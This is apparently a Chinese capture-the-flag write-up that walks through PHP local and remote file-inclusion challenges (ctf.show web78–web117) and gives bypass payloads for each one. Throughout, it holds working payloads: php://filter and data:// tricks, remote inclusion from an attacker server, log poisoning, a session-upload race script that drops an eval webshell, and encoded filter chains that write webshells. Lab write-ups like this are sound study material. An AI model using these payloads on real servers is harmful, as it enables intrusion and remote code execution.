简单过一遍
web78
include($file)
payload:
php://filter/read=convert.base64-encode/resource=flag.php
data://text/plain,<?=show_source('flag.php')?>
web79
$file = str_replace("php", "???", $file);
include($file);
使用上一题的data伪协议即可,但是需要base64编码后面的字符
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
远程文件包含
在自己服务器上写个一句话放进txt,python3 -m http.server 8090
?file=http://1.117.144.41:8090/1.txt
aeqaq=show_source('fl0g.php');
web81
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
在UA头中写入一句话,然后日志包含即可执行命令,日志位置在/var/log/nginx/access.log
web82
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
点被过滤了,这个时候上面的方法都不适用
我们可以试着包含session文件竞争上传
原理了解:https://www.freebuf.com/news/202819.html
session.use_strict_mode默认值为off。当这个选项关闭时
此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
注:在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
一边上传一边竞争包含即能执行文件中的恶意php代码
用python来发包包含:
import io
import sys
import requests
import threading
sessid = 'flag'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[flag])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://adbbcde0-d9b0-4a26-b6c6-5cda99266fc1.challenge.ctf.show:8080?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
web83
比上一题加入了
session_unset();
session_destroy();
两个函数,但是传入参数包含是在这两个函数之后的,所以并不影响包含,上一题脚本适用
web84
在最后加入了 system("rm -rf /tmp/*"),但我们上传的临时文件只要他上传的时候能够包含就行了,竞争的关系所以没有影响
web85
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
条件竞争,因为存在文件不存在的时候,此时if不能触发,那不是直接就绕过了吗,下面依旧条件竞争包含文件
web86
define('INCLUDE_PATH','/include/');
set_include_path(INCLUDE);
这样当我们引用 include 中的文件 如 conn.php,smarty_config.php 时,我们直接可以这样写
include_once('conn.php');
include_once('smarty_config.php');
web87
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
函数file_put_contents,我们可以利用它写入一句话,但是不巧,写入的内容执行前就被die终结了,所以我们可以考虑用filter协议写入base64数据
p牛:绕过死亡diehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html
php://filter/write=convert.base64-decode/resource=123.php
两次url编码绕过
1.base64编码绕过
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
POST
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);
2.rot13编码绕过
GET
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
POST
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);
web88
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
web117
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
理解了filter的妙用之后,发现其实还有很多其他的编码方式
取一个 UCS-2LE UCS-2BE
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?